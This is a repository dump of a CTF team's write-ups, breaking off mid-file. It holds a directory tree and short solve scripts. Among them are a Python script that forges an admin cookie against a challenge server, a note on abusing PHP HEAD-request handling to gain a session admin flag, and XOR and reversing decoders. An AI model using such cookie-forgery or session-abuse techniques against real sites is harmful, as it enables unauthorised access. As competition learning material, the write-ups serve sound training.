├── 2019 └── README.md ├── 2020 ├── README.md ├── mrctf2020 │ ├── rev │ │ └── README.md │ └── web │ │ └── README.md └── RACTF-2020 │ ├── pwn │ └── README.md │ └── stego │ └── README.md ├── 2021 ├── README.md └── 0x41414141 │ └── crypto │ └── README.md ├── 2022 ├── AkaSec-Local-CTF-2022 │ ├── Forensics │ │ └── tobiya_irl │ │ │ └── readme.md │ ├── reversing │ │ └── classic │ │ │ ├── assets │ │ │ └── 1.png │ │ │ └── README.md │ ├── crypto │ │ └── Meganumerophobia │ │ │ ├── assets │ │ │ └── 1.png │ │ │ └── README.md │ └── web │ │ └── secret of konoha │ │ ├── assets │ │ ├── Screen_Shot_2022-10-21_at_1.00.03_PM.png │ │ ├── Screen_Shot_2022-10-21_at_12.39.47_PM.png │ │ └── Screen_Shot_2022-10-21_at_12.55.46_PM.png │ │ └── README.md ├── GDG-Algiers-CTF-2022 │ ├── web │ │ ├── cookauth │ │ │ ├── README.md │ │ │ └── solve.py │ │ ├── ezphp │ │ │ └── README.md │ │ ├── pipe-your-way │ │ │ └── solve.py │ │ └── lay-lowah │ │ │ └── README.md │ ├── crypto │ │ └── eXORcist │ │ │ └── README.md │ └── rev │ │ └── solve.c ├── MetaRed │ └── crypto │ │ └── caxcan │ │ └── solve.py ├── K3RN3LCTF-2022 │ ├── rev │ │ └── README.md │ └── forensics │ │ └── README.md ├── bcactf │ └── pwn │ │ ├── ROPJump │ │ └── exploit.py │ │ ├── Jump Rope │ │ └── exploit.py │ │ └── Format Fortune │ │ └── exploit.py └── Arab-Regional-Cybersecurity-CTF-2022 │ └── web │ └── Strength-Calculator-2 │ └── req └── README.md /2019/README.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /2020/README.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /2021/README.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /2022/AkaSec-Local-CTF-2022/Forensics/tobiya_irl/readme.md: -------------------------------------------------------------------------------- 1 | #Tobiya IRL 2 | -------------------------------------------------------------------------------- /2022/GDG-Algiers-CTF-2022/web/cookauth/README.md: -------------------------------------------------------------------------------- 1 | ## Writeup 2 | 3 | [Solve script](./solve.py). 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Akasec's CTF Writeups 2 | 3 | - [2019 writeups](./2019) 4 | - [2020 writeups](./2020) 5 | - [2021 writeups](./2021) 6 | - [2022 writeups](./2022) 7 | -------------------------------------------------------------------------------- /2022/AkaSec-Local-CTF-2022/reversing/classic/assets/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Akasec-1337/ctf-writeups/HEAD/2022/AkaSec-Local-CTF-2022/reversing/classic/assets/1.png -------------------------------------------------------------------------------- /2022/AkaSec-Local-CTF-2022/crypto/Meganumerophobia/assets/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Akasec-1337/ctf-writeups/HEAD/2022/AkaSec-Local-CTF-2022/crypto/Meganumerophobia/assets/1.png -------------------------------------------------------------------------------- /2022/AkaSec-Local-CTF-2022/web/secret of konoha/assets/Screen_Shot_2022-10-21_at_1.00.03_PM.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Akasec-1337/ctf-writeups/HEAD/2022/AkaSec-Local-CTF-2022/web/secret of konoha/assets/Screen_Shot_2022-10-21_at_1.00.03_PM.png -------------------------------------------------------------------------------- /2022/AkaSec-Local-CTF-2022/web/secret of konoha/assets/Screen_Shot_2022-10-21_at_12.39.47_PM.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Akasec-1337/ctf-writeups/HEAD/2022/AkaSec-Local-CTF-2022/web/secret of konoha/assets/Screen_Shot_2022-10-21_at_12.39.47_PM.png -------------------------------------------------------------------------------- /2022/AkaSec-Local-CTF-2022/web/secret of konoha/assets/Screen_Shot_2022-10-21_at_12.55.46_PM.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Akasec-1337/ctf-writeups/HEAD/2022/AkaSec-Local-CTF-2022/web/secret of konoha/assets/Screen_Shot_2022-10-21_at_12.55.46_PM.png -------------------------------------------------------------------------------- /2022/GDG-Algiers-CTF-2022/web/cookauth/solve.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from binascii import hexlify 3 | 4 | URL = 'http://cookauth.chal.ctf.gdgalgiers.com/admin' 5 | 6 | payload = '{"user": "admin"}' 7 | 8 | resp = requests.get(url = URL, cookies = { '_info_user': hexlify(payload.encode()).decode() }) 9 | print(resp.text) 10 | -------------------------------------------------------------------------------- /2022/GDG-Algiers-CTF-2022/web/ezphp/README.md: -------------------------------------------------------------------------------- 1 | -PHP 5.3 doesn't handle HEAD requests correctly 2 | 3 | -So the solution is to first send a HEAD request to /index.php 4 | 5 | -It will set SESSION[admin] to 1 and stop before setting it back to 0 6 | 7 | -Then send another GET request with the same session and you will get the flag 8 | -------------------------------------------------------------------------------- /2022/MetaRed/crypto/caxcan/solve.py: -------------------------------------------------------------------------------- 1 | def roll(text): 2 | return text[::-1] 3 | 4 | def swoop(text): 5 | text = list(text) 6 | for i in range(len(text)): 7 | if text[i] not in '{}': 8 | text[i] = chr(ord(text[i]) - (i % 6)) 9 | return ''.join(text) 10 | 11 | print(roll(swoop("}zudidsbybwxaqaqehxbebimt`jks{XNidpka"))) 12 | -------------------------------------------------------------------------------- /2022/GDG-Algiers-CTF-2022/crypto/eXORcist/README.md: -------------------------------------------------------------------------------- 1 | The solution for the challenge is pretty simple, the server receives the text and place the flag randomly inside it, then generate a key and xor with the text. 2 | 3 | The challenges is therefore vulnerable to the repeated key attack. The first step would be to get the key by sending a long text with known caracters, the result is xored with the sent text in order to get the key, and decrypt the flag part. 4 | -------------------------------------------------------------------------------- /2022/GDG-Algiers-CTF-2022/rev/solve.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | char pass[] = {0x15, 0x91, 0x2a, 0x59, 0x72, 0x1e, 0xd9, 0xa, 0xb6, 0xf1, 0x2a, 0xba, 0x5f, 0x66, 0x70, 0x61, 0x4f, 0xf7, 0xd1, 0x49, 0xd6, 0xac, 0xb4, 0x21, 0xb2, 0x1e, 0x94, 0x28, 0x5a, 0x57, 0xaa, 0x15, 0xc7, 0xa, 0xc8, 0xa3, 0xf0, 0x76, 3, 0x34, 0x88, 0xe1, 0x24, 0x63, 0xc2, 0x13, 0x5a}; 4 | 5 | int main(void){ 6 | int i = 0; 7 | char clear; 8 | srand(0x7e6); 9 | for(i = 0; i < sizeof(pass); i++){ 10 | int k1 = rand(); 11 | int k2 = ((k1 >> 0x1f) >> 0x18); 12 | clear = (pass[i] + k2) ^ (k1 + k2); 13 | putchar(clear); 14 | } 15 | return 0; 16 | } 17 | -------------------------------------------------------------------------------- /2020/mrctf2020/rev/README.md: -------------------------------------------------------------------------------- 1 | ## Xor (On-campus only) 2 | 3 | XOR the data after XOR once to get the original data XOR the input character and serial number, and then compare it with the target array, so you only need to reverse the target array and XOR again to get the flag 4 | 5 | ```c 6 | #include 7 | #include 8 | #include 9 | char flag[100]={0x4D,0x53,0x41,0x57,0x42,0x7E,0x46,0x58,0x5A,0x3A,0x4A,0x3A,0x60,0x74,0x51,0x4A,0x22,0x4E,0x40,0x20,0x62,0x70,0x64,0x64,0x7D,0x38,0x67}; 10 | int main() 11 | { 12 | for(int i=0;i